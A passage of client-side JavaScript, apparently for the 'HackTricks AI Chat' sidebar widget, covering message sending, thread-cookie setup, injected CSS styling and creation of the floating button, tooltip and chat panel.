data.response.forEach((p) => {
addMsg(
p.type === "text" && p.text && p.text.value
? p.text.value
: JSON.stringify(p),
"ht-ai"
);
});
else if (typeof data.response === "string")
addMsg(data.response, "ht-ai");
else addMsg(JSON.stringify(data, null, 2), "ht-ai");
} catch (e) {
console.error("Error sending message:", e);
loadingBubble.textContent = "An unexpected error occurred.";
} finally {
isRunning = false;
setInputDisabled(false);
chatLog.scrollTop = chatLog.scrollHeight;
}
}
async function handleSend() {
const q = inputBox.value.trim();
if (!q) return;
if (q.length > MAX_QUESTION) {
alert(
`Your question is too long (${q.length} chars). Max allowed: ${MAX_QUESTION}.`
);
return;
}
inputBox.value = "";
addMsg(q, "ht-user");
await sendMessage(q, savedSelection || null);
}
sendBtn.addEventListener("click", handleSend);
inputBox.addEventListener("keydown", (e) => {
if (e.key === "Enter" && !e.shiftKey) {
e.preventDefault();
handleSend();
}
});
}
/* ==================================================================== */
async function ensureThreadId() {
const m = document.cookie.match(/threadId=([^;]+)/);
if (m && m[1]) {
threadId = m[1];
return;
}
try {
const r = await fetch(API_BASE, { method: "POST", credentials: "include" });
const d = await r.json();
if (!r.ok || !d.threadId) throw new Error(`${r.status} ${r.statusText}`);
threadId = d.threadId;
document.cookie =
`threadId=${threadId}; Path=/; Secure; SameSite=Strict; Max-Age=7200`;
} catch (e) {
console.error("Error creating threadId:", e);
alert("Failed to initialise the conversation. Please refresh and try again.");
throw e;
}
}
/* ==================================================================== */
function injectStyles() {
const css = `
#ht-ai-btn{position:fixed;bottom:20px;left:50%;transform:translateX(-50%);width:60px;height:60px;border-radius:50%;background:#1e1e1e;color:#fff;font-size:28px;display:flex;align-items:center;justify-content:center;cursor:pointer;z-index:99999;box-shadow:0 2px 8px rgba(0,0,0,.4);transition:opacity .2s}
#ht-ai-btn:hover{opacity:.85}
@media(max-width:768px){#ht-ai-btn{display:none}}
#ht-ai-tooltip{position:fixed;padding:6px 8px;background:#111;color:#fff;border-radius:4px;font-size:13px;white-space:pre-wrap;pointer-events:none;opacity:0;transform:translate(-50%,-8px);transition:opacity .15s ease,transform .15s ease;z-index:100000}
#ht-ai-tooltip.show{opacity:1;transform:translate(-50%,-12px)}
#ht-ai-panel{position:fixed;top:0;right:0;height:100%;width:350px;max-width:90vw;background:#000;color:#fff;display:flex;flex-direction:column;transform:translateX(100%);transition:transform .3s ease;z-index:100000;font-family:system-ui,-apple-system,Segoe UI,Roboto,"Helvetica Neue",Arial,sans-serif}
#ht-ai-panel.open{transform:translateX(0)}
@media(max-width:768px){#ht-ai-panel{display:none}}
#ht-ai-header{display:flex;justify-content:space-between;align-items:center;padding:12px 16px;border-bottom:1px solid #333}
#ht-ai-header .ht-actions{display:flex;gap:8px;align-items:center}
#ht-ai-close,#ht-ai-reset{cursor:pointer;font-size:18px;background:none;border:none;color:#fff;padding:0}
#ht-ai-close:hover,#ht-ai-reset:hover{opacity:.7}
#ht-ai-chat{flex:1;overflow-y:auto;padding:16px;display:flex;flex-direction:column;gap:12px;font-size:14px}
.ht-msg{max-width:90%;line-height:1.4;padding:10px 12px;border-radius:8px;white-space:pre-wrap;word-wrap:break-word}
.ht-user{align-self:flex-end;background:${BRAND_RED}}
.ht-ai{align-self:flex-start;background:#222}
.ht-context{align-self:flex-start;background:#444;font-style:italic;font-size:13px}
#ht-ai-input{display:flex;gap:8px;padding:12px 16px;border-top:1px solid #333}
#ht-ai-question{flex:1;min-height:40px;max-height:120px;resize:vertical;padding:8px;border-radius:6px;border:none;font-size:14px}
#ht-ai-send{padding:0 18px;border:none;border-radius:6px;background:${BRAND_RED};color:#fff;font-size:14px;cursor:pointer}
#ht-ai-send:disabled{opacity:.5;cursor:not-allowed}
/* Loader animation */
.ht-loading{display:inline-flex;align-items:center;gap:4px}
.ht-loading span{width:6px;height:6px;border-radius:50%;background:#888;animation:ht-bounce 1.2s infinite ease-in-out}
.ht-loading span:nth-child(2){animation-delay:0.2s}
.ht-loading span:nth-child(3){animation-delay:0.4s}
@keyframes ht-bounce{0%,80%,100%{transform:scale(0);}40%{transform:scale(1);} }
::selection{background:#ffeb3b;color:#000}
::-moz-selection{background:#ffeb3b;color:#000}`;
const s = document.createElement("style");
s.id = "ht-ai-style";
s.textContent = css;
document.head.appendChild(s);
}
function createFloatingButton() {
const d = document.createElement("div");
d.id = "ht-ai-btn";
d.textContent = "🤖";
document.body.appendChild(d);
return d;
}
function createTooltip(btn) {
const t = document.createElement("div");
t.id = "ht-ai-tooltip";
t.textContent = TOOLTIP_TEXT;
document.body.appendChild(t);
btn.addEventListener("mouseenter", () => {
const r = btn.getBoundingClientRect();
t.style.left = `${r.left + r.width / 2}px`;
t.style.top = `${r.top}px`;
t.classList.add("show");
});
btn.addEventListener("mouseleave", () => t.classList.remove("show"));
}
function createSidebar() {
const p = document.createElement("div");
p.id = "ht-ai-panel";
p.innerHTML = `
<div id="ht-ai-header"><strong>HackTricks AI Chat</strong>
<div class="ht-actions">
<button id="ht-ai-reset" title="Reset">↺</button>
<span id="ht-ai-close" title="Close">✖</span>
</div>
</div>
<div id="ht-ai-chat"></div>
<div id="ht-ai-input">
<textarea id="ht-ai-question" placeholder="Type your question…"></textarea>
<button id="ht-ai-send">Send</button>
</div>`;
document.body.appendChild(p);
return p;
}
})();

File diff suppressed because it is too large Load Diff